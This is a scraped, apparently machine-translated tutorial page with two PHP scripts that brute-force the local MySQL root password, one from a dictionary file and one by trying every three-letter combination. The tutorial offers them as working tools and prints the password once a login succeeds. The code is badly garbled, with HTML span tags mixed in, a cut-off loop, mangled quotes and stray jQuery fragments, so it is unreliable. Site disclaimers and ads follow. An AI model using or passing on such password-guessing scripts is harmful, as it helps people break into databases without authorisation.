PHP local guess MySQL mysql description mysql garbled mysql optimization

Source: Internet
Author: User
Code notes
PHP Local guess mysql-dictionary file to guess the solution


    
     set_time_limit(0); //脚本不超时$user=”root”; //用户名//$passwd=file(“password.txt”); //密码字典//for($i=0;$i
     <>< span="">
      //$pass=$passwd[$i];connect(
      $user,
      $pass);flush();
      //}
      echo “扫描结束!”;
      functionconnect($user,$pass) {
      $conn=@mysql_connect(“localhost”,
      $user,
      $pass);
      if(
      $conn){
      echo “#0000FF’>
      得到密码:”.$pass.”!!!”;
     <>exit();}else {echo$pass.’‘;}}?>

PHP Local guess mysql-brute force guess solution

25</span> cols=<span>90</span> id= ' T1′><span><?php</span>set_time_limit (< span>0</span>);<span> $fruit </span>=<span>array</span> (' A ', ' B ', ' C ', ' d ', ' e ', ' F ' , ' g ', ' h ', ' I ', ' j ', ' K ', ' l ', ' m ', ' n ', ' o ', ' P ', ' Q ', ' R ', ' s ', ' t ', ' u ', ' V ', ' w ', ' x ', ' y ', ' z ');  <span>//Password Combination single character </span><span> $mmcd </span>=<span>3</span>; <span>//password length </span><span> $jlcs 1</span>=<span>0</span>;<span> $dishes </span>[]=range (<span>1</span>,<span> $mmcd </span>) <span>//start loop </span ><span>for</span> (<span> $i </span>=<span>0</span>;<span> $i </ span><<span> $mmcd </span>;<span> $i </span>++) {<span>foreach</span> ( <span> $dishes </span><span>as</span><span> $k </span>=><span> $v </ span>) {<span>foreach</span> (<span> $fruit</span><span>as</span><span>$_fruit</span>) {<span> $v </span>[< span> $i </span>]=<span>$_fruit</span>;<span> $dishes </span>[]=<span> $v </span>;<span>unset</span> (<span> $dishes </span>[<span> $k </span>]); <span> $t </span>=implode (",<span> $v </span>);<span> $user </span>=<span> ' Root ' </span>;<span> $pass </span>=<span> $t </span>;<span> $conn </span>= @mysql_connect (' localhost ',<span> $user </span>,<span> $pass </span>); <span>// Automatically delete text boxes and create a text box for each 800 passwords generated </span><span> $jlcs 1</span>=<span> $jlcs 1</span>+<span >1</span>;<span>if</span> (<span> $jlcs 1</span>==<span>800</span>) { <span>echo</span> "”;Echo“”;Echo“<textarea rows="<span">25</span> cols=<span>90</span> id= ' t1′> ";<span> $jlcs 1</span>=<span>0 </span>;} <span>//Test Password </span><span>if</span> (<span> $conn </span>) {<span>echo </span> ";<span>echo</span></textarea> "”;Echo"#0000FF" >Get Password: color= '#FF0000 ′> '. $pass. "  !!!”;Exit();}Else{Echo$pass.’ ‘;} Flush ();}}//Total loop outputEcho“”;Echo“”;Echo“<textarea rows="<span">25</span> cols=</textarea> -Id= ' t1′> ';Echo' Scan ',$i+1,'!';}?>

'). addclass (' pre-numbering '). Hide (); $ (this). addclass (' has-numbering '). Parent (). append ($numbering); for (i = 1; i <= lines; i++) {$numbering. Append ($ ('
  • '). Text (i)); }; $numbering. FadeIn (1700); }); });

    The above describes the PHP local guess MySQL, including the content of MySQL, I hope the PHP tutorial interested in a friend helpful.

  • Contact Us

    The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

    If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

    A Free Trial That Lets You Build Big!

    Start building with 50+ products and up to 12 months usage for Elastic Compute Service

    • Sales Support

      1 on 1 presale consultation

    • After-Sales Support

      24/7 Technical Support 6 Free Tickets per Quarter Faster Response

    • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.